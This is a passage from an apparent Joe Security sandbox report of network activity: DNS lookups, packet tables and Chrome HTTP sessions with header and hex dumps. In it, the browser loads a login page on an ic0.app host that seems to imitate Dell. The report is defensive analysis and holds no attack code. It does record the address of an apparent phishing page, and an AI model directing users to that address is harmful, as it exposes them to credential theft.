Jul 1, 2022 19:36:47.887300014 CEST 49730 443 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.887367010 CEST 443 49730 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.888921976 CEST 443 49730 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.889103889 CEST 49730 443 192.168.2.3 145.40.97.98

Jul 1, 2022 19:36:47.896389961 CEST 49730 443 192.168.2.3 145.40.97.98

Timestamp Source Port Dest Port Source IP Dest IP

Copyright Joe Security LLC 2022 Page 42 of 79



Jul 1, 2022 19:36:47.896706104 CEST 443 49730 145.40.97.98 192.168.2.3

Jul 1, 2022 19:36:47.897461891 CEST 49730 443 192.168.2.3 145.40.97.98

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Jul 1, 2022 19:36:47.176666975 CEST 58116 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:47.192575932 CEST 65358 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:47.196717024 CEST 49873 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:47.203021049 CEST 53 58116 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:47.212493896 CEST 53 65358 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:47.224339962 CEST 53 49873 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:47.683639050 CEST 63548 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:47.712694883 CEST 53 63548 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:49.917135954 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:49.943701982 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.170734882 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.197693110 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.197778940 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.197830915 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.197880983 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.246514082 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.249963999 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.274307966 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.274683952 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.307795048 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.308310032 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.319575071 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.319613934 CEST 443 49329 142.250.185.142 192.168.2.3

Jul 1, 2022 19:36:50.320630074 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:36:50.358232975 CEST 58981 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:50.358510971 CEST 61380 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:50.358671904 CEST 63146 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:50.358814001 CEST 52985 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:50.380568981 CEST 53 63146 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:50.380671024 CEST 53 52985 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:50.381628036 CEST 58625 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:50.404050112 CEST 53 58625 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:50.758922100 CEST 50778 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:52.843076944 CEST 64816 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:52.885008097 CEST 53 64816 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:53.251976967 CEST 53816 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:53.271858931 CEST 53 53816 8.8.8.8 192.168.2.3

Jul 1, 2022 19:36:53.807864904 CEST 60640 53 192.168.2.3 8.8.8.8

Jul 1, 2022 19:36:53.827784061 CEST 53 60640 8.8.8.8 192.168.2.3

Jul 1, 2022 19:37:05.342541933 CEST 49329 443 192.168.2.3 142.250.185.142

Jul 1, 2022 19:37:05.386953115 CEST 443 49329 142.250.185.142 192.168.2.3

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 1, 2022 19:36:47.176666975 CEST 192.168.2.3 8.8.8.8 0xb3f Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:47.192575932 CEST 192.168.2.3 8.8.8.8 0xaab Standard query 
(0)

u27457241.
ct.sendgrid.net

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:47.196717024 CEST 192.168.2.3 8.8.8.8 0x970c Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:47.683639050 CEST 192.168.2.3 8.8.8.8 0x4455 Standard query 
(0)

h6yak-jqaaa-
aaaad-qcysq-
cai.raw.ic0.app

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:50.358232975 CEST 192.168.2.3 8.8.8.8 0xaa75 Standard query 
(0)

code.jquery.com A (IP address) IN (0x0001)

UDP Packets

DNS Queries
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Jul 1, 2022 19:36:50.358510971 CEST 192.168.2.3 8.8.8.8 0xbbd6 Standard query 
(0)

kit.fontaw
esome.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:50.358671904 CEST 192.168.2.3 8.8.8.8 0x4cc8 Standard query 
(0)

cdnjs.clou
dflare.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:50.358814001 CEST 192.168.2.3 8.8.8.8 0xa0ba Standard query 
(0)

maxcdn.boo
tstrapcdn.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:50.381628036 CEST 192.168.2.3 8.8.8.8 0x8ff8 Standard query 
(0)

stackpath.
bootstrapc
dn.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:50.758922100 CEST 192.168.2.3 8.8.8.8 0xa53f Standard query 
(0)

ka-f.fonta
wesome.com

A (IP address) IN (0x0001)

Jul 1, 2022 19:36:52.843076944 CEST 192.168.2.3 8.8.8.8 0xee69 Standard query 
(0)

logo.clearbit.com A (IP address) IN (0x0001)

Jul 1, 2022 19:36:53.251976967 CEST 192.168.2.3 8.8.8.8 0x245f Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Jul 1, 2022 19:36:53.807864904 CEST 192.168.2.3 8.8.8.8 0x4247 Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 1, 2022 
19:36:47.203021049 CEST

8.8.8.8 192.168.2.3 0xb3f No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
19:36:47.203021049 CEST

8.8.8.8 192.168.2.3 0xb3f No error (0) clients.l.
google.com

142.250.185.142 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.212493896 CEST

8.8.8.8 192.168.2.3 0xaab No error (0) u27457241.
ct.sendgrid.net

167.89.115.54 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.212493896 CEST

8.8.8.8 192.168.2.3 0xaab No error (0) u27457241.
ct.sendgrid.net

167.89.123.122 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.212493896 CEST

8.8.8.8 192.168.2.3 0xaab No error (0) u27457241.
ct.sendgrid.net

167.89.123.16 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.212493896 CEST

8.8.8.8 192.168.2.3 0xaab No error (0) u27457241.
ct.sendgrid.net

167.89.115.121 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.224339962 CEST

8.8.8.8 192.168.2.3 0x970c No error (0) accounts.g
oogle.com

172.217.16.205 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.712694883 CEST

8.8.8.8 192.168.2.3 0x4455 No error (0) h6yak-jqaaa-
aaaad-qcysq-
cai.raw.ic0.app

boundary.dfinity.ne
twork

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
19:36:47.712694883 CEST

8.8.8.8 192.168.2.3 0x4455 No error (0) boundary.d
finity.network

145.40.97.98 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:47.712694883 CEST

8.8.8.8 192.168.2.3 0x4455 No error (0) boundary.d
finity.network

145.40.68.46 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.377715111 CEST

8.8.8.8 192.168.2.3 0xaa75 No error (0) code.jquery.com cds.s5x3j6q5.hwcd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
19:36:50.380568981 CEST

8.8.8.8 192.168.2.3 0x4cc8 No error (0) cdnjs.clou
dflare.com

104.17.24.14 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.380568981 CEST

8.8.8.8 192.168.2.3 0x4cc8 No error (0) cdnjs.clou
dflare.com

104.17.25.14 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.380671024 CEST

8.8.8.8 192.168.2.3 0xa0ba No error (0) maxcdn.boo
tstrapcdn.com

104.18.10.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.380671024 CEST

8.8.8.8 192.168.2.3 0xa0ba No error (0) maxcdn.boo
tstrapcdn.com

104.18.11.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.381933928 CEST

8.8.8.8 192.168.2.3 0xbbd6 No error (0) kit.fontaw
esome.com

kit.fontawesome.c
om.cdn.cloudflare.
net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
19:36:50.404050112 CEST

8.8.8.8 192.168.2.3 0x8ff8 No error (0) stackpath.
bootstrapc
dn.com

104.18.10.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.404050112 CEST

8.8.8.8 192.168.2.3 0x8ff8 No error (0) stackpath.
bootstrapc
dn.com

104.18.11.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.585228920 CEST

8.8.8.8 192.168.2.3 0xb95f No error (0) gstaticads
sl.l.google.com

172.217.16.131 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:50.782388926 CEST

8.8.8.8 192.168.2.3 0xa53f No error (0) ka-f.fonta
wesome.com

ka-
f.fontawesome.co
m.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
19:36:52.885008097 CEST

8.8.8.8 192.168.2.3 0xee69 No error (0) logo.clearbit.com d26p066pn2w0s0.
cloudfront.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

DNS Answers

Copyright Joe Security LLC 2022 Page 44 of 79



Jul 1, 2022 
19:36:52.885008097 CEST

8.8.8.8 192.168.2.3 0xee69 No error (0) d26p066pn2
w0s0.cloud
front.net

13.224.103.120 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:52.885008097 CEST

8.8.8.8 192.168.2.3 0xee69 No error (0) d26p066pn2
w0s0.cloud
front.net

13.224.103.60 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:52.885008097 CEST

8.8.8.8 192.168.2.3 0xee69 No error (0) d26p066pn2
w0s0.cloud
front.net

13.224.103.49 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:52.885008097 CEST

8.8.8.8 192.168.2.3 0xee69 No error (0) d26p066pn2
w0s0.cloud
front.net

13.224.103.129 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:53.271858931 CEST

8.8.8.8 192.168.2.3 0x245f No error (0) www.google.com 172.217.23.100 A (IP address) IN 
(0x0001)

Jul 1, 2022 
19:36:53.827784061 CEST

8.8.8.8 192.168.2.3 0x4247 No error (0) www.google.com 172.217.23.100 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
accounts.google.com

            
clients2.google.com

            
u27457241.ct.sendgrid.net

            
h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app

            
https:

maxcdn.bootstrapcdn.com
cdnjs.cloudflare.com
stackpath.bootstrapcdn.com
logo.clearbit.com
www.google.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49721 172.217.16.205 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49717 142.250.185.142 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.3 49783 172.217.23.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.3 49787 172.217.23.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

HTTP Request Dependency Graph

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.3 49729 145.40.97.98 80 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Jul 1, 2022 
19:36:47.742677927 
CEST

646 OUT GET /l HTTP/1.1
Host: h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Jul 1, 2022 
19:36:47.768855095 
CEST

943 IN HTTP/1.1 301 Moved Permanently
Server: nginx/1.21.3
Date: Fri, 01 Jul 2022 17:36:47 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 
6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 
79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx/1.21.3</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49720 167.89.115.54 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49730 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.3 49742 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.3 49743 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.3 49758 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.3 49757 104.17.24.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.3 49760 104.18.10.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.3 49778 13.224.103.120 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.3 49721 172.217.16.205 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:47 UTC 0 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:47 UTC 0 OUT Data Raw: 20 
Data Ascii:  

2022-07-01 17:36:47 UTC 2 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 01 Jul 2022 17:36:47 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cross-Origin-Opener-Policy: same-origin
Content-Security-Policy: script-src 'report-sample' 'nonce-eFgZ9H7TwAikekjvaZJ7PQ' 'unsafe-inline';object-src 'none';bas
e-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-eFgZ9H7TwAikekjvaZJ7PQ' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

HTTPS Proxied Packets
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2022-07-01 17:36:47 UTC 4 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-07-01 17:36:47 UTC 4 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.3 49717 142.250.185.142 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:47 UTC 0 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:47 UTC 1 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-u4M7QIl_BW4BxQUKwXzLBQ' 'unsafe-inline' 'strict-dynamic' 
https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 01 Jul 2022 17:36:47 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5660
X-Daystart: 38207
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-07-01 17:36:47 UTC 2 IN Data Raw: 33 31 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 36 
30 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 38 32 30 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 31b<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5660" elapsed_seconds="38207"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

2022-07-01 17:36:47 UTC 2 IN Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 
22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 
5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 
37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 
74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 
72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 
Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" 
protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a

2022-07-01 17:36:47 UTC 2 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.3 49783 172.217.23.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:53 UTC 425 OUT GET /s2/favicons?domain=dell.com?v=BUILD_HASH HTTP/1.1
Host: www.google.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:53 UTC 425 IN HTTP/1.1 301 Moved Permanently
Location: https://t1.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://d
ell.com?v=BUILD_HASH&size=16
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Fri, 01 Jul 2022 17:36:53 GMT
Expires: Fri, 01 Jul 2022 18:06:53 GMT
Cache-Control: public, max-age=1800
Server: sffe
Content-Length: 341
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2022-07-01 17:36:53 UTC 426 IN Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 
74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 
38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 
3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 
76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 31 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 
63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 
3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c 
Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TI
TLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t1.gstatic.com/faviconV2?c
lient=SOCIAL&amp;type=FAVICON&amp;fallback_opts=TYPE,

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.3 49787 172.217.23.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:53 UTC 426 OUT GET /s2/favicons?domain=dell.com?v=BUILD_HASH HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: www.google.com

2022-07-01 17:36:53 UTC 426 IN HTTP/1.1 301 Moved Permanently
Location: https://t1.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://d
ell.com?v=BUILD_HASH&size=16
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 341
X-XSS-Protection: 0
